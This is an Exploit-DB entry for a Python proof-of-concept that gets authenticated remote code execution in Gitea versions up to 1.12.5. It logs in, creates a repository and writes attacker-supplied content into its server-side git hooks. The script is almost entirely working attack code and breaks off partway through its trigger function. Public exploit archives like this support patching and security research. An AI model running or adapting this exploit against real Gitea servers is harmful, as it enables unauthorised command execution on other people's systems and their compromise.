Exploit-DB #49571
Description: Gitea 1.12.5 - Remote Code Execution (Authenticated)
Type: webapps
Platform: multiple
Date: 2021-02-18
Author: Podalirius

Exploit:
# Exploit Title: Gitea 1.12.5 - Remote Code Execution (Authenticated)
# Date: 17 Feb 2020
# Exploit Author: Podalirius
# PoC demonstration article: https://podalirius.net/en/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/
# Vendor Homepage: https://gitea.io/
# Software Link: https://dl.gitea.io/
# Version: >= 1.1.0 to <= 1.12.5
# Tested on: Ubuntu 16.04 with GiTea 1.6.1

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import argparse
import os
import pexpect
import random
import re
import sys
import time

import requests
requests.packages.urllib3.disable_warnings()
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
try:
    requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
    pass

class GiTea(object):
    def __init__(self, host, verbose=False):
        super(GiTea, self).__init__()
        self.verbose  = verbose
        self.host     = host
        self.username = None
        self.password = None
        self.uid      = None
        self.session  = None

    def _get_csrf(self, url):
        pattern = 'name="_csrf" content="([a-zA-Z0-9\-\_=]+)"'
        csrf = []
        while len(csrf) == 0:
            r = self.session.get(url)
            csrf = re.findall(pattern, r.text)
            time.sleep(1)
        csrf = csrf[0]
        return csrf

    def _get_uid(self, url):
        pattern = 'name="_uid" content="([0-9]+)"'
        uid = re.findall(pattern, self.session.get(url).text)
        while len(uid) == 0:
            time.sleep(1)
            uid = re.findall(pattern, self.session.get(url).text)
        uid = uid[0]
        return int(uid)

    def login(self, username, password):
        if self.verbose == True:
            print("   [>] login('%s', ...)" % username)
        self.session  = requests.Session()
        r = self.session.get('%s/user/login' % self.host)
        self.username = username
        self.[CREDENTIAL_REDACTED]

        # Logging in
        csrf = self._get_csrf(self.host)
        r = self.session.post(
            '%s/user/login?redirect_to=%%2f%s' % (self.host, self.username),
            data = {'_csrf':csrf, 'user_name':username, 'password':password},
            allow_redirects=True
        )
        if b'Username or password is incorrect.' in r.content:
            return False
        else:
            # Getting User id
            self.uid = self._get_uid(self.host)
            return True

    def repo_create(self, repository_name):
        if self.verbose == True:
            print("   [>] Creating repository : %s" % repository_name)
        csrf = self._get_csrf(self.host)
        # Create repo
        r = self.session.post(
            '%s/repo/create' % self.host,
            data = {
                '_csrf' : csrf,
                'uid' : self.uid,
                'repo_name' : repository_name,
                'description' : "Lorem Ipsum",
                'gitignores' : '',
                'license' : '',
                'readme' : 'Default',
                'auto_init' : 'off'
            }
        )
        return None

    def repo_delete(self, repository_name):
        if self.verbose == True:
            print("   [>] Deleting repository : %s" % repository_name)
        csrf = self._get_csrf('%s/%s/%s/settings' % (self.host, self.username, repository_name))
        # Delete repository
        r = self.session.post(
            '%s/%s/%s/settings' % (self.host, self.username, repository_name),
            data = {
                '_csrf' : csrf,
                'action' : "delete",
                'repo_name' : repository_name
            }
        )
        return

    def repo_set_githook_pre_receive(self, repository_name, content):
        if self.verbose == True:
            print("   [>] repo_set_githook_pre_receive('%s')" % repository_name)
        csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name))
        # Set pre receive git hook
        r = self.session.post(
            '%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name),
            data = {
                '_csrf' : csrf,
                'content' : content
            }
        )
        return

    def repo_set_githook_update(self, repository_name, content):
        if self.verbose == True:
            print("   [>] repo_set_githook_update('%s')" % repository_name)
        csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name))
        # Set update git hook
        r = self.session.post(
            '%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name),
            data = {
                '_csrf' : csrf,
                'content' : content
            }
        )
        return

    def repo_set_githook_post_receive(self, repository_name, content):
        if self.verbose == True:
            print("   [>] repo_set_githook_post_receive('%s')" % repository_name)
        csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name))
        # Set post receive git hook
        r = self.session.post(
            '%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name),
            data = {
                '_csrf' : csrf,
                'content' : content
            }
        )
        return

    def logout(self):
        if self.verbose == True:
            print("   [>] logout()")
        # Logging out
        r = self.session.get('%s/user/logout' % self.host)
        return None


def trigger_exploit(host, username, password, repository_name, verbose=False):
    # Create a temporary directory
    tmpdir = os.popen('mktemp -d').read().strip